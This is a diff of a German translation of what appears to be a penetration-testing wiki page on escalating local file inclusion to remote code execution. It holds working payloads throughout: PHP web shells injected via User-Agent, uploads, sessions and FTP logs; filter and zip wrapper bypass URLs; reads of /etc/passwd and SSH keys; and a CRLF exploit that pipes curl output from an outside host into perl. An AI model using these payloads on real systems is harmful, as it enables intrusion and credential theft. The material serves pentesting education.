+1. Lade viele shells hoch (zum Beispiel: 100)
+2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), mit $PID = PID des Prozesses (can be brute forced) und $FD dem file descriptor (can be brute forced too)

-### Über /proc/self/environ
+### Per /proc/self/environ

-Wie bei einer Logdatei: sende den Payload im User-Agent; er wird in der Datei /proc/self/environ reflektiert
+Wie bei einer Logdatei: Sende die payload im User-Agent — sie wird in /proc/self/environ reflektiert.
 ```
 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
 User-Agent: <?=phpinfo(); ?>
 ```
-### Via upload
+### Per upload

-Wenn du eine Datei uploaden kannst, injecte einfach das shell payload in sie (z. B.: `<?php system($_GET['c']); ?>`).
+Wenn du eine Datei uploaden kannst, injiziere einfach das shell payload darin (z. B.: `<?php system($_GET['c']); ?>` ).
 ```
 http://example.com/index.php?page=path/to/uploaded/file.png
 ```
-Um die Datei lesbar zu halten, ist es am besten, Inhalte in die Metadaten der Bilder/Dokumente/PDFs einzubetten.
+Um die Datei lesbar zu halten, ist es am besten, Daten in die Metadaten von Bildern/Dokumenten/PDFs einzufügen

-### Per Zip-Datei-Upload
+### Über ZIP-Datei-Upload

-Lade eine ZIP-Datei hoch, die eine komprimierte PHP shell enthält, und rufe sie auf:
+Lade eine ZIP-Datei hoch, die eine komprimierte PHP shell enthält, und greife darauf zu:
 ```python
 example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
 ```
-### Über PHP-Sessions
+### Über PHP sessions

-Überprüfe, ob die Website PHP-Sessions (PHPSESSID) verwendet
+Prüfe, ob die Website PHP Session (PHPSESSID) verwendet
 ```
 Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
 Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
 ```
-In PHP werden diese Sessions in _/var/lib/php5/sess\\_\[PHPSESSID]\_ Dateien gespeichert
+In PHP werden diese sessions in _/var/lib/php5/sess\\_\[PHPSESSID]\_ Dateien gespeichert
 ```
 /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
 user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -546,32 +544,33 @@ Setze das Cookie auf `<?php system('cat /etc/passwd');?>`
 ```
 login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
 ```
-Verwende das LFI, um die PHP-Session-Datei einzubinden.
+Nutze LFI, um die PHP-Session-Datei einzubinden.
 ```
 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
 ```
 ### Über ssh

-Wenn ssh aktiv ist, prüfe, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuche, auf **\<HOME>/.ssh/id_rsa** zuzugreifen
+Wenn ssh aktiv ist, prüfe, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuche auf **\<HOME>/.ssh/id_rsa** zuzugreifen.

-### **Über** **vsftpd** _**logs**_
+### **Über** **vsftpd** _**Protokolle**_

-Die Logs des FTP-Servers vsftpd befinden sich unter _**/var/log/vsftpd.log**_. In dem Szenario, in dem eine Local File Inclusion (LFI)-Schwachstelle vorhanden ist und Zugriff auf einen exponierten vsftpd-Server möglich ist, können die folgenden Schritte in Betracht gezogen werden:
+Die Protokolle des FTP-Servers vsftpd befinden sich unter _**/var/log/vsftpd.log**_. In dem Szenario, in dem eine Local File Inclusion (LFI)-Schwachstelle vorhanden ist und Zugriff auf einen exponierten vsftpd-Server möglich ist, können die folgenden Schritte in Betracht gezogen werden:

 1. Injiziere eine PHP-Payload in das Benutzername-Feld während des Anmeldevorgangs.
-2. Nach der Injektion nutze die LFI, um die Server-Logs von _**/var/log/vsftpd.log**_ abzurufen.
+2. Nach der Injection nutze die LFI, um die Server-Protokolle aus _**/var/log/vsftpd.log**_ auszulesen.

 ### Über php base64 filter (using base64)

-Wie in [diesem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) Artikel gezeigt, ignoriert der PHP base64-Filter einfach Nicht-base64. Du kannst das verwenden, um die Dateiendungsprüfung zu umgehen: wenn du base64 lieferst, das mit ".php" endet, würde er den "." einfach ignorieren und "php" an das base64 anhängen. Hier ist ein Beispiel-Payload:
+Wie in [diesem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) Artikel gezeigt, ignoriert der PHP base64 filter einfach Nicht-Base64. Du kannst das nutzen, um die Dateiendungsprüfung zu umgehen: wenn du Base64 lieferst, das mit ".php" endet, würde er einfach den "." ignorieren und "php" an das Base64 anhängen. Hier ist ein Beispiel-Payload:
 ```url
 http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

 NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 ```
-### Über php filters (no file needed)
+### Über php filters (keine Datei nötig)
+
+Dieses [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass du **php filters** verwenden kannst, um beliebigen Inhalt als Ausgabe zu erzeugen. Das bedeutet im Grunde, dass du beliebigen php code für das include erzeugen kannst, ohne ihn in eine Datei schreiben zu müssen.

-This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)erklärt, dass du **php filters to generate arbitrary content** als Ausgabe verwenden kannst. Was im Wesentlichen bedeutet, dass du **generate arbitrary php code** für das **include** **without needing to write** in eine Datei erzeugen kannst.

 {{#ref}}
 lfi2rce-via-php-filters.md
@ -579,7 +578,8 @@ lfi2rce-via-php-filters.md

 ### Über segmentation fault

-**Upload** eine Datei, die als **temporary** in `/tmp` gespeichert wird, dann löse in der **same request,** einen **segmentation fault** aus, und die **temporary file won't be deleted** — du kannst sie danach durchsuchen.
+**Upload** eine Datei, die als **temporary** in `/tmp` gespeichert wird, löse dann in derselben **same request** einen **segmentation fault** aus — danach wird die **temporary file won't be deleted** und du kannst nach ihr suchen.
+

 {{#ref}}
 lfi2rce-via-segmentation-fault.md
@ -587,7 +587,8 @@ lfi2rce-via-segmentation-fault.md

 ### Über Nginx temp file storage

-Wenn du eine **Local File Inclusion** gefunden hast und **Nginx** vor PHP läuft, könntest du mit der folgenden Technik RCE erreichen:
+Wenn du eine **Local File Inclusion** gefunden hast und **Nginx** vor PHP läuft, könntest du mit der folgenden Technik RCE erlangen:
+

 {{#ref}}
 lfi2rce-via-nginx-temp-files.md
@ -595,7 +596,8 @@ lfi2rce-via-nginx-temp-files.md

 ### Über PHP_SESSION_UPLOAD_PROGRESS

-Wenn du eine **Local File Inclusion** gefunden hast, selbst wenn du **don't have a session** und `session.auto_start` auf `Off` steht. Wenn du **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten mitsendest, wird PHP die Session für dich aktivieren. Das kannst du ausnutzen, um RCE zu erlangen:
+Wenn du eine **Local File Inclusion** gefunden hast, selbst wenn du **don't have a session** und `session.auto_start` auf `Off` steht. Wenn du den **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten angibst, wird PHP die **enable the session for you**. Du könntest dies missbrauchen, um RCE zu erreichen:
+

 {{#ref}}
 via-php_session_upload_progress.md
@ -603,7 +605,8 @@ via-php_session_upload_progress.md

 ### Über temp file uploads in Windows

-Wenn du eine **Local File Inclusion** gefunden hast und der Server unter **Windows** läuft, könntest du RCE erreichen:
+Wenn du eine **Local File Inclusion** gefunden hast und der Server unter **Windows** läuft, könntest du RCE erhalten:
+

 {{#ref}}
 lfi2rce-via-temp-file-uploads.md
@ -611,13 +614,13 @@ lfi2rce-via-temp-file-uploads.md

 ### Über `pearcmd.php` + URL args

-As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), das Script `/usr/local/lib/phppearcmd.php` existiert standardmäßig in php docker images. Zudem ist es möglich, dem Script Argumente über die URL zu übergeben, weil angegeben ist, dass ein URL-Param ohne `=` als Argument verwendet werden soll. Siehe auch [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) und [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
+As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), das Script `/usr/local/lib/phppearcmd.php` existiert standardmäßig in php docker images. Außerdem ist es möglich, dem Script Argumente über die URL zu übergeben, weil angegeben ist, dass ein URL-Param ohne `=` als Argument verwendet werden sollte. Siehe auch [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) und [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).

 Die folgende Anfrage erstellt eine Datei in `/tmp/hello.php` mit dem Inhalt `<?=phpinfo()?>`:
 ```bash
 GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
 ```
-Im Folgenden wird eine CRLF vuln missbraucht, um RCE zu erreichen (von [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
+Im Folgenden wird eine CRLF vuln ausgenutzt, um RCE zu erlangen (von [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
 ```
 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -626,7 +629,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
 ```
 ### Über phpinfo() (file_uploads = on)

-Wenn du eine **Local File Inclusion** gefunden hast und eine Datei **phpinfo()** offenbart wurde mit file_uploads = on, kannst du RCE erreichen:
+Wenn du eine **Local File Inclusion** und eine Datei gefunden hast, die **phpinfo()** mit file_uploads = on exponiert, kannst du RCE erhalten:


 {{#ref}}
@ -635,7 +638,7 @@ lfi2rce-via-phpinfo.md

 ### Über compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure

-Wenn du eine **Local File Inclusion** gefunden hast und du **den Pfad** der temporären Datei **exfiltrieren kannst**, ABER der **Server** überprüft, ob die **einzuschließende Datei PHP-Markierungen** enthält, kannst du versuchen, diese **Überprüfung zu umgehen** mit dieser **Race Condition**:
+Wenn du eine **Local File Inclusion** gefunden hast und du den Pfad der temporären Datei **exfiltrieren** kannst, ABER der **Server** überprüft, ob die **einzuschließende Datei PHP-Marker** enthält, kannst du versuchen, diese Überprüfung mit dieser **Race Condition** zu umgehen:


 {{#ref}}
@ -644,23 +647,24 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

 ### Über eternal waiting + bruteforce

-Wenn du LFI missbrauchen kannst, um **temporäre Dateien hochzuladen** und den Server die PHP-Ausführung **hängen** zu lassen, könntest du dann **stundenlang Dateinamen bruteforcen**, um die temporäre Datei zu finden:
+Wenn du die LFI missbrauchen kannst, um **temporäre Dateien hochzuladen** und den Server die PHP-Ausführung **aufhängen** zu lassen, könntest du anschließend stundenlang Dateinamen per **bruteforce** ausprobieren, um die temporäre Datei zu finden:


 {{#ref}}
 lfi2rce-via-eternal-waiting.md
 {{#endref}}

-### Zum Fatal Error
+### Zu einem Fatal Error

-If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
+Wenn du eine der Dateien `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` einbindest. (Du musst dieselbe Datei zweimal einbinden, um diesen Fehler auszulösen).

-**Ich weiß nicht, wie nützlich das ist, aber es könnte sein.**\
+**Ich weiß nicht, wie das nützlich ist, aber es könnte sein.**\
 _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._

 <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>

-## References
+
+## Referenzen

 - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
 - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)